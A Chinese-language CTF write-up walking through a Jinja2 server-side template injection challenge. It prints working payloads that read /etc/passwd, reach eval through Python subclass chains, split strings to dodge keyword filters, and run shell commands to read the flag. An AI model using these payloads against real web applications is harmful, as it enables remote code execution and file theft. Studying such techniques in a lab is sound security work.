打开环境,根据题目的提示是ssti模板注入,刷题多的同学应该可以猜到get参数name,传入name={{7*'7'}}看一下,根据回显确定是JinJa2
![](https://i-blog.csdnimg.cn/blog_migrate/f0c137fa51b4c4ae978502c892b180d2.png)
找到这个类,是第99个
![](https://i-blog.csdnimg.cn/blog_migrate/04e9022c25293d4465d04df699363c4d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/23d16c4e8bb46a410a606cfdacc4bcae.png)
读取文件?name={{''.__class__.__base__.__subclasses__()[99].get_data(0,"/etc/passwd")}}
![](https://i-blog.csdnimg.cn/blog_migrate/eb7483e34c954df32a56739219487692.png)
可以看到目前还没有被过滤,尝试读取flag文件,猜
![](https://i-blog.csdnimg.cn/blog_migrate/6fcc28f3165f9ed97875e34eabbcd956.png)
这里对flag进行了替换,那尝试字符串拼接,这里“+”也被过滤了,换个思路命令执行吧
?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__}}查到可以执行命令的函数eval
![](https://i-blog.csdnimg.cn/blog_migrate/b2d247ce4505ebf47712e91fde02a3dd.png)
发现过滤了popen,简单拼接
![](https://i-blog.csdnimg.cn/blog_migrate/7ce0dd2ed71030f73dd9552f584f1102.png)
po"+"pen()拼接后回显提示缺少cmd参数,绕过有效
![](https://i-blog.csdnimg.cn/blog_migrate/e74aeab84fcc6d956a15198c09d69f1e.png)
加入命令,看到回显确定执行成功
![](https://i-blog.csdnimg.cn/blog_migrate/12f1f0a0da4a842e4d523bbc926ecff9.png)
获取flag路径
![](https://i-blog.csdnimg.cn/blog_migrate/550a6bc695bb33308ace0f0bed7df87e.png)
cat flag发现又被过滤了
![](https://i-blog.csdnimg.cn/blog_migrate/0634f1d3fe21167b4a5ee5881e55861b.png)
尝试用tail替换cat,用f"+"lag替换flag,拿到flag
![](https://i-blog.csdnimg.cn/blog_migrate/e81d8ff93d8d56b9e3f53fa3b72b8727.png)
最终payload
?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.eval("__import__('os').po"+"pen('tail%20f"+"lag').read()")}}